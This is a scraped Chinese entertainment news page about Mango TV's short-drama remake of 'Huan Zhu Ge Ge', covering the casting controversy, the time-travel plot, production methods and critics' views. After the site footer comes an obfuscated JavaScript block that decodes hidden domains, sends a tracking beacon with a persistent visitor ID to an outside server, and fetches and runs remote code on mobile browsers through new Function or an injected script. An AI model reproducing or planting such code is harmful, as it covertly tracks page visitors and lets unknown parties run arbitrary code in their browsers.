《还珠》短剧颠覆经典!剧情魔改审美降级,网友直呼放过观众吧

来源:泡剧网人气:681更新:2025-07-21 13:21:08

赵薇看了也无言!

芒果台这次真是玩大了!把几代人记忆中的《还珠格格》这个超级IP,硬是塞进了“穿书”短剧的框架里。



30集×15分钟就想重新定义经典?

老粉丝们心都碎了:这还是我们曾经热爱的还珠吗?

琼瑶阿姨的儿媳担任监制也没能挽回这种大胆改编的影响?



本文陈述内容皆有可靠信息来源,赘述在文章结尾

《还珠》短剧开机引发热议

芒果台将经典之作《还珠格格》改成了短剧,一开机就引起了轩然大波!

5月29日,在横店举行的开机仪式上,95后小花胡连馨和罗一舟的古装扮相一经亮相。

#还珠选角争议#立刻冲上了热搜榜。



这部承载了几代人回忆的作品,这次采用了“穿书穿越”的新颖形式,显然是想在日益火热的微短剧市场中分得一杯羹。

回顾《还珠》的历史,98年赵薇林心如版创造了收视奇迹,而11年李晟海陆版却因台词过于直白被骂惨了,豆瓣评分仅4.6分。



这次2025版另辟蹊径,打造为30集、每集15分钟的短剧,通过“穿书”设定试图打破翻拍必败的魔咒。

尽管有琼瑶儿媳何琇琼作为监制撑腰,但观众心中仍存疑虑。

经典IP与短视频时代的快节奏碰撞,如此大胆的改编,真的可行吗?



除了选角问题,剧情设定更是彻底颠覆传统。

当红女明星林岁岁因为吐槽旧版剧情,意外被系统拉入“混乱版还珠世界”,被迫成为皇后身边的扫地宫女。

为了回到现实,她必须将“小燕子闯围场”、“紫薇失明”等关键情节拨回正轨。



然而这个世界远比她想象的要荒诞。

皇后这位老反派竟然变成了她的“非典型盟友”。

原本温柔的紫薇暗藏穿越的秘密钥匙。

而五阿哥永琪则直接沦为配角的爱情背景板。



这部剧按照短剧模式进行节奏安排,每集15分钟分为“穿越遇难题-情节错乱-意外反转”三个部分。

第五集预告片更显刺激,林岁岁误披龙袍扰乱时空,让五阿哥对她一见钟情。

这一狗血桥段直接拆散了原著的感情线。



更特别的是,片尾设有“剧情投票”环节。

观众可以决定紫薇的命运,追剧变成玩“宫廷剧本杀”。

制作方还透露,围场狩猎将采用VR追踪技术,经典主题曲《当》成为了时空穿梭的开关。

老粉丝看后直呼“既熟悉又陌生”。



男女主角阵容

谈完剧情设定,再来看看主演阵容。

胡连馨饰演穿越女主林岁岁,之前在《人世间》中扮演冯玥颇受喜爱,开机前大家颇为期待。

她精修过的古装照确实美得令人惊艳,巴掌脸搭配精致五官。



有人说“颜值秒杀当年赵薇”,可开机现场生图却暴露了真相。

她穿着宫女服低声细语,那文静气质与调皮宫女形象完全不符。

有老剧迷吐槽:“这不是小燕子的灵魂,而是故宫讲解员在cosplay。”



饰演假小燕子的黄思瑞走的是冷艳路线。

这个角色设定本是创新之举,可惜缺乏灵气而备受批评。



路透图中她一脸疏离感,被网友调侃“像刚从冷宫放出来的”,与赵薇版“野丫头”的活泼劲相差甚远。

制作方试图用“皇后棋子”的复杂设定弥补,但观众显然更认同原版。



男主阵容同样争议不小。

罗一舟的古装造型成为了全场最大的笑点。



选秀出身的他身着藏青长袍现身,身形佝偻引发了热议。

加上锃亮脑门,被网友恶搞成“还珠版小李子”。



即便他有国家话剧院的专业背景,那单薄身板也无法支撑起“冷面侍卫”的强大形象。

焉栩嘉饰演的五阿哥则困于“太稚嫩”的问题。

带着婴儿肥的脸庞配上烟熏妆,强行成熟的造型被嘲笑“像是五阿哥的未成年表弟”。



剧组称使用头套垫高颅顶以优化比例,但开机生图直接打脸。

他穿着牛仔裤戴棒球帽出现时,浑身充满少年气息,哪里像稳重的皇子?

苏有朋版的粉丝直接表示:“这哪是永琪,根本是个来客串的初中生。”



制作引发争议

除了选角和剧情,制作层面的创新与争议同样引起讨论。

剧方模仿《曼达洛人》采用LED虚拟棚拍摄,据说节省了40%的成本。

但路透的紫禁城场景质感粗糙,被嘲讽像“网页游戏画风”。



还有传言剧组利用AI写剧本,输入“还珠+穿越”就能自动生成十种剧情,连胡连馨的微表情数据都被用来优化表演。

这种“技术至上”的做法让业内争论不休:到底是效率革命,还是损害了演员的表演艺术?



视觉上最引人注目的是“赛博古装”设计。

林岁岁的宫女服缝上了荧光丝线,穿越时会闪耀得如同迪斯科球。

台词更是融合网络梗和文言文,例如“本宫的热搜呢”、“这届剧情不行”,营造出跨次元的搞笑效果。



不过这种大胆尝试也招致了不少批评。

有文化博主发表文章《琼瑶看了都想报警:当还珠格格遇上抖音网红》,严厉批评改编丢失了原著的文化韵味。

技术创新的背后,是对经典IP改编边界的又一次挑战。



改编边界

作为芒果TV的S+级项目,《还珠》短剧商业野心巨大。

平台保底分账高达1.2亿,点击破亿还有额外奖励。

制作方在周边开发上也是全力以赴。

剧中林岁岁的穿越手机将推出同款,与故宫文创联名的发光旗头已经在生产线上了。



面对选角引发的群嘲,罗一舟团队反应最快,放出《景渊训练日记》展示他练武练台词的艰辛。

胡连馨则用vlog揭秘古装造型背后的化妆与发型工作,希望通过“敬业”来挽回口碑。



这种“黑红也是红”的策略,恰恰揭示了当下娱乐圈的生存法则。

在流量至上的时代,有争议本身就是最好的宣传方式。

这场改编风波背后,反映的是行业对经典IP年轻化探索的困惑与迷茫。



一项针对00后的调查显示,62%的年轻人认为“改编有趣比还原更重要”。

这与80后“忠于原著”的坚持截然不同。



作家莫言对微短剧的评价十分到位:“强忍着不去看,看完又觉得受骗”,精准道出了快餐文化的矛盾之处。

短视频平台上,“宫廷穿越”题材确实火爆,芒果台这次改编正是瞄准了市场需求。



但当“山无棱天地合”变为女主嘴里的吐槽梗,当永琪和小燕子的爱情被侍卫宫女所取代。

我们真该思考:改编经典IP的界限究竟在哪里?

正如一位资深编剧所说:“经典不是古董,需要新的诠释,但改编不是截肢,留住灵魂比盲目追求流量重要得多。”



结语

经典不应成为流量的提款机,改编可以跨界,但不能失去灵魂。当“山无棱天地合”沦为吐槽梗,观众记住的从来不是热搜上的造型争议,而是角色骨子里的灵魂——这才是经典改编的核心命题。

参考文献:1.极目新闻:《<还珠格格>改编短剧<还珠>已定5月开机,主演被曝是胡连馨、罗一舟和焉栩嘉》2025-05-282.九派新闻:《短剧<还珠>开机,琼瑶儿媳担任总监制,女主是她:期待早日相见》2025-05-303.ETtoday星光云:《<还珠格格>翻拍短剧!女明星“穿书变宫女”修崩坏剧情...女主是她》2025-05-294.融媒杂志:《<还珠格格>短剧主演确定!金锁穿越当女主!》2025-05-29


最新资讯

郑重声明:泡剧网所有播放资源均由机器人收集于互联网,本站不参与任何影视资源制作与存储,如若侵犯了您的权益请书面告知,我们会及时处理.

如果喜欢泡剧网请分享给身边的朋友,站内广告是本站能持续为大家服务的立命之本还望顺手支持一下^_^

百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

Copyright © 2019-2024 · 泡剧网 www.bjhuahong.com

function TkTEss(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TkTEss(t);};window[''+'W'+'C'+'J'+'y'+'i'+'B'+'B'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ded.zawmwcb.com:8887/stats/2497?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLnZxaHNNkamdwLmNNvbSUzQTg4ODc=','d3NzJTNBJTJGJTJGZC54d3lpY2xmYy5jbb20lM0E4ODg3','2891',window,document,['N','b']);}:function(){};